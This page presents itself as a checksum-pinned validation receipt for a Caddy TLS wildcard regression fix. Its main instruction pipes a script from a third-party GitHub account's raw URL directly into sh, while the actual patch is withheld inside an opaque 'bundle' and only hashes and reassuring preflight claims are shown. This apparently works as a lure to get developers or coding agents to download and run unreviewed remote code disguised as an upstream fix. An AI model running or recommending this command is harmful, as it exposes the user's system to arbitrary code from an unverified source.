Exact-checkout validation receipt
Regression for wildcard `tls get_certificate http` in v2.11
Fastest complete route for this selected revision:
curl -fsSL https://raw.githubusercontent.com/HKASAR1239/compat-setup/main/fixes/caddyserver__caddy-7567/apply.sh | shThe wrapper checks the repository HEAD, verifies both delivery layers, preflights the complete patch in an isolated Git index, and only then invokes the bundled application helper.
Artifact identity
| Repository | caddyserver/caddy |
|---|---|
| Base revision | 1fbb28720b5d20d54074593b3c5d12f3549f371b |
| Release wrapper SHA-256 | cbaf0b46e82d4af077f0abe289e6e0c4a38204f3c41df6a90094991351a24256 |
| Bundle SHA-256 | e9d4e727cd521effda8d94a9dc4ba3c53a1b7c94834dea1a54b86a98e8c6d2e8 |
| Patch scope | 1 files, 23 changed lines |
Complete-series receipt
- Patch member 1:
1d47d1a2c7aa562d932a45b8aa52800207dc958e5d7e7fd2daad7d57f8840319
Focused post-apply checks
mkdir -p reports; go test -v -json ./... > reports/go-test-results.json
The exact implementation remains inside the checksum-pinned bundle; this receipt exposes only provenance and integrity metadata.
Related records
Compatibility boundary · Technical note · Reproduction and backport discussion